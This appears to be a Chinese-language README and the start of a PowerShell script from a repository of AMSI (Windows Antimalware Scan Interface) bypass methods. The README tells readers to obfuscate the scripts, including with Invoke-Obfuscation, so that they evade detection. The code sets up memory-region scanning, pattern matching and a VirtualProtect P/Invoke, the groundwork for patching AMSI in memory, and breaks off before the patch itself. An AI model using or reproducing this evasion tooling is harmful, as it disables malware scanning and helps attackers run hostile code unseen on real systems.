此仓库包含我在不同博客文章中发现的某些反恶意软件扫描接口(AMSI)绕过/规避方法。
大多数脚本本身会被AMSI检测到。因此,您需要找到触发器并通过变量/函数重命名、字符串替换或运行时编码解码来更改签名。或者,通过ISESteroids和/或Invoke-Obfuscation对它们进行混淆处理以使其工作。您还可以查看我关于手动修改签名以获得有效绕过的博客文章。
$PAGE_READONLY = 0x02 $PAGE_READWRITE = 0x04 $PAGE_EXECUTE_READWRITE = 0x40 $PAGE_EXECUTE_READ = 0x20 $PAGE_GUARD = 0x100 $MEM_COMMIT = 0x1000 $MAX_PATH = 260
function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT) }
function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true }
if ($PSVersionTable.PSVersion.Major -gt 2) { # Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)
# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()
# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()
# P/Invoke Methods
$TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))
# Define [Win32.Kernel32]::VirtualProtect
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)